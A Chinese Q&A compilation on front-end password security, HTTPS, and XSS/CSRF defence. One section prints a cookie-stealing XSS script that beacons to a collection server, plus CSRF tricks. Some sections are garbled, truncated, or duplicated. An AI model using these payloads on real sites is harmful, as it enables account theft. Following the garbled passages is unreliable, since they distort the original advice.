当前位置:首页 » 网页前端 » 前端密码安全
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

前端密码安全

发布时间: 2022-12-14 18:34:29

❶ Web前端密码加密是否有意义

密码在前端加密完全没有意义,对密码系统的安全性不会有任何提高,反而会引发不必要的麻烦。首先,做前端开发的人需要知道,前端系统的控制权是完全在用户手里的,也就是说,前端做什么事情,用户有完全的控制权。假设如同 @陈轩所说,前端做过了md5,后台就不用做了,这个做法会有什么后果?如果某一天,这个系统的数据库泄露了,黑客就直接拿到了每个用户的密码md5值,但此时,由于黑客知道密码是在前端进行哈希的,所以他不需要爆破出该md5对应的原文是什么,而是直接修改客户端向服务器发出的请求,把密码字段换成数据库中MD5就可以了,由于与数据库中记录一致,直接就会登录成功。这跟直接存储明文密码没有任何区别!!!所以不管前端是不是加密了密码,后台使用安全的哈希算法对内容再次转换是非常有必要的。(MD5可不行,要用bcrypt,我之前回答过一个类似的:随着显卡性能的高速发展,目前的快速Hash算法是否已经变得不够安全了?)这个回答还有一个人赞同,希望大家别被错误答案误导了。另外一个答案 @林鸿所说,在非安全HTTP连接上,可以防止原始密码被窃听。但问题在于由于你的登录系统接受的哈希过的密码,而不是原文,窃听者根本不需要原始密码,只要通过哈希结果就可以伪造请求登录系统。这样做只能防止被窃听到原文的密码被攻击者用在社会学攻击上,而不能改善该网站的安全性。所以不管前端是不是加密了密码,使用HTTPS安全连接进行登录都是非常有必要的。以上我说的两点,合起来看就是:不管前端是否加密了密码,都不能以此为假设,让后端设计的安全等级下降,否则就会有严重的安全问题。实际上,前端进行密码加密,可以看做帮助用户多进行了一次原文的转换,不管用了什么加密算法,算出来的结果都是密码原文,你该如何保护用户的原始密码,就该如何保护此处的加密结果,因为对你的登录系统来说,它们都是密码原文。以上这些,说明了密码加密是没有什么意义的,接下来,我要说明前端加密会带来什么问题。有些人会认为前端进行了加密,可以降低后台的安全性需求,这种错误的观念会造成系统的安全漏洞。实际上,你不能对前端做任何的假设,所有跟安全相关的技术,都必须应用在后台上。前端进行加密会造成页面需要js脚本才能运行,那么假设你的系统需要兼容不能运行js的客户端,就必须再设计一个使用原文的登录接口。由于前端是不是加密,所有安全机制都必须照常应用,所以为系统增加这样的复杂性是完全没必要的,即使传输明文密码,只要正确使用了HTTPS连接和服务器端安全的哈希算法,密码系统都可以是很安全的。

❷ a级前端具有加密功能吗

具有。a级前端具有加密功能,不管是注册还是登录用户,都会对密码进行加密然后再进行传输,这样更安全,前端即网站前台部分,运行在PC端,移动端等浏览器上展现给用户浏览的网页。

❸ Web前端密码加密是否有意义

在前端对密码做一次MD5,看起来是防止明文传输了,事实上只有一种情况下它可以提高用户的安全性,那就是用户在别的网站上也用和你的网站一样的密码。并且在任何情况下都提高不了你自己网站的安全性。前面说的传输过程、内存里、日志里……这些地方没有明文密码,其实都只能保护用户本身的利益,对于自身服务的安全性是没有提高的。因为,既然传输过程不是加密的,那么包随便发,至于发一个abc123,还是发一个,对你的程序没有任何的区别,这时候你的程序都是小绵羊。这个过程可以看做,你的用户都用了32位字符串的密码,如是而已。从事实意义上讲,在所有网站上用同样密码的用户非常多,所以可以勉勉强强的说,这是有一丁丁点的意义的。但即使在前端做了签名,因为hash暴露了,也还是很容易被撞库。但是,对安全性没有提高,就不做了吗?当然要做,因为要应付审计。

❹ Web前端密码加密是否有意义

没有意义


密码前端的加密根本没有意义,密码系统的安全性没有提高,但会造成不必要的麻烦。

首先,前端开发人员需要知道前端系统的控制完全掌握在用户手中,也就是说前端所做的事情和用户拥有完全的控制。据称,前端做了MD5,后台不必做,这种方法会有什么后果?如果有一天,系统数据库泄露,黑客直接获得每个用户的密码的MD5值,但这一次,因为黑客知道密码的哈希的前面,所以他不需要鼓风的MD5对应什么是原创,而是直接修改发送到服务器的客户端请求的在它的数据库密码字段MD5,符合数据库中的记录,你可以直接登录。这与直接存储明文密码没有区别!!!所以不管前端密码是否加密,后台使用哈希算法的安全内容转换都是必要的。(MD5不能使用BCrypt的,我以前回答类似:用图形表现,当前快速发展的快速哈希算法已成为不安全吗?)有一个人同意这个答案,我希望你不要被错误的答案误导。对方的回答,Linh说,是为了防止原始密码被利用在一个不安全的HTTP连接。但问题是,因为你的登录系统接受密码代替原来的,窃听者根本不需要原始密码,只要哈希结果可以伪造请求登录系统。这样做只会防止攻击者在社交攻击时使用原始密码,而不会提高网站的安全性。所以不管前面密码是不是加密的,使用HTTPS安全连接登录都是很有必要的。

❺ 前端是否需要对密码进行加密传输 && HTTPS

最近学习node,写demo登陆和注册功能的时候因为要考虑后台的加密和安全所以也想了下前端的,前端传输密码的时候是否应该加密之后再传输呢
看了一些网站的登陆,csdn、等是明文传输,但腾讯、网络这些一线大站是经过前端加密的,看了些大佬的文章,顺便自己搬个凳子记个笔记

前端的加密本身不能对网站的安全性有任何提高功能,所有的关于网站的安全技术都应该放在后台,但是这也不是完全没有意义,可以增加攻击成本,尽可能降低攻击带来的损失,毕竟丢了密文比丢了明文要强,而且犯罪分子技术参差不齐,简单的加密能够拦截很大一部分菜鸟,至于高手。。。

最后看到比较统一的是隐秘信息传输应该使用https

这篇文章只是想弄懂流程和原理,不会去纠结具体的术语

HTTP协议以明文方式发送内容,不提供任何方式的数据加密,处在同一网络中的其它用户可以通过网络抓包来窃取和篡改数据包的内容,甚至运营商或者wifi提供者,有可能会篡改http报文,添加广告等信息以达到盈利的目的

可以通过和SSL(Secure Socket Layer,安全套接层)组合使用来为浏览器和服务器之间的通信加密。在这条加密线路上进行通信的http被称为HTTPS(HTTP Secure,超文本传输安全协议)。

SSL证书(Secure socket layer),就是遵守SSL协议,由受信任的数字证书颁发机构CA颁发,主要用来提供对用户浏览器和服务器的认证,对传送的数据进行加密和隐藏,确保数据在传送中不被改变保证数据的完整性,加密方式为“非对称加密”和“对称加密”。

1、用户连接到你的Web站点,该Web站点受服务器证书所保护

2、你的服务器进行响应,并自动传送你网站的数字证书给用户,(浏览器内置一个受信任的机构列表和这些机构的证书)用户的浏览器查看该证书是否存在于浏览器的受信任机构列表中,并且通过服务器证书中的信息与当前正在访问的网站(域名等)是否一致来鉴别你的网站,鉴别没成功会提醒用户是否继续该访问

3、鉴别成功后,用户的浏览器产生一把唯一的会话钥匙,用以跟网站之间所有的通讯过程进行加密,会话密钥是随机生成,每次都会有不一样的结果,

4、使用者的浏览器以网站的公钥对交谈钥匙码进行加密,以便只有让你的网站得以阅读此交谈钥匙码

1、使用HTTPS协议可认证用户和服务器,确保数据发送到正确的客户机和服务器;

2、HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全,可防止数据在传输过程中不被窃取、改变,确保数据的完整性。

3、HTTPS是现行架构下最安全的解决方案,虽然不是绝对安全,但它大幅增加了中间人攻击的成本。

4、谷歌曾在2014年8月份调整搜索引擎算法,并称“比起同等HTTP网站,采用HTTPS加密的网站在搜索结果中的排名将会更高”。

1、HTTPS协议握手阶段比较费时,会使页面的加载时间延长近50%

2、HTTPS连接缓存不如HTTP高效,会增加数据开销和功耗,甚至已有的安全措施也会因此而受到影响;

3、SSL证书需要钱,功能越强大的证书费用越高

4、SSL证书通常需要绑定IP,不能在同一IP上绑定多个域名

5、HTTPS协议的加密范围也比较有限,在黑客攻击、拒绝服务攻击、服务器劫持等方面几乎起不到什么作用。最关键的,SSL证书的信用链体系并不安全,特别是在某些国家可以控制CA根证书的情况下,中间人攻击一样可行。

知乎各位大佬的回答 https://www.hu.com/question/25539382
HTTP与HTTPS的区别 https://www.cnblogs.com/wqhwe/p/5407468.html

❻ 前端安全方面有没有了解xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 sql 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3

while (true) {
alert("你关不掉我~");
}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()

然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题&content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

❼ 【前端】常用加密方法

• JavaScript 加密后传输(具体可以参考后面的常见加密方法)
• 浏览器插件内进行加密传输
• Https 传输

在加密算法中又分为对称加密和非对称加密。

对称加密采用了对称密码编码技术,它的特点是文件加密和解密使用相同的密钥加密.也就是加密和解密都是用同一个密钥,这种方法在密码学中叫做对称加密算法.

对称加密算法使用起来简单快捷,密钥较短,且破译困难,除了数据加密标准(DES),另一个对称密钥加密系统是国际数据加密算法(IDEA),它比DES的加密性好,而且对计算机功能要求也没有那么高.

常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6和AES

注意: 因为前端的透明性,对于登录密码等敏感信息,就不要使用JavaScript来进行对称加密. 因为别人可以从前端得到密匙后,可以直接对信息进行解密!

非对称加密算法需要两个密钥:公钥(publickey)和私钥(privatekey)。 公钥与私钥是一对,如果用公钥对数据进行加密,只有用对应的私钥才能解密;如果用私钥对数据进行加密,那么只有用对应的公钥才能解密。 因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。

非对称加密算法实现机密信息交换的基本过程是:甲方生成一对密钥并将其中的一把作为公钥向其它方公开;得到该公钥的乙方使用该密钥对机密信息进行加密后再发送给甲方;甲方再用自己保存的另一把专用密钥对加密后的信息进行解密。甲方只能用其专用密钥解密由其公钥加密后的任何信息。

常见的非对称加密算法有:RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)

❽ 网站前端,如何保证密码安全

一般情况下保证不了
比如京东、小米、网易之类的网站
当你登录的时候,你如果看发送的内容
会发现发送的也都是明文内容,所以很容易被截获
支付宝不一样,支付宝是有插件的
你输入后会一系列加密,然后发送给后台
不过这个技术上比较麻烦
一般情况下不用担心这个
希望能帮助到你

❾ HTML5技术分享 浅谈前端安全以及如何防范

随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端开发行业的我们也逃不开这个问题。所以今天我就简单聊一聊WEB前端安全以及如何防范。

首先前端攻击都有哪些形式,我们该如何防范?

一、XSS攻击

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植 入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻 击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型 的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

XSS攻击的具体表现:

1、JavaScript代码注入

下面是代码的页面

2 接着,我们在cheat.php这个网站上面,将跳转过来的源网页地址悄悄的进行修改。

于是,在用户访问了我们的欺骗网站后,之前的tab已经悄然发生了变化,我们将其悄悄的替换为了钓鱼的网站,欺骗用户输入用户名、密码等。

3 我们的钓鱼网站,伪装成XX空间,让用户输入用户名与密码

这种钓鱼方式比较有意思,重点在于我们比较难防住这种攻击,我们并不能将所有的页面链接都使用js打开。所以,要么就将外链跳转的连接改为当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面所有的跳转均改为window.open,在打开时,跟大多数钓鱼防治殊途同归的一点是,我们需要网民们的安全意识提高。

六、我们平时开发要注意些什么?

开发时要提防用户产生的内容,要对用户输入的信息进行层层检测要注意对用户的输出内容进行过滤(进行转义等)重要的内容记得要加密传输(无论是利用https也好,自己加密也好)

get与post请求,要严格遵守规范,不要混用,不要将一些危险的提交使用jsonp完成。

对于URL上携带的信息,要谨慎使用。心中时刻记着,自己的网站哪里可能有危险。

❿ 网站前端,如何保证密码安全

一般情况下保证不了
比如京东、小米、网易之类的网站
当你登录的时候,你如果看发送的内容
会发现发送的也都是明文内容,所以很容易被截获
支付宝不一样,支付宝是有插件的
你输入后会一系列加密,然后发送给后台
不过这个技术上比较麻烦
一般情况下不用担心这个
希望能帮助到你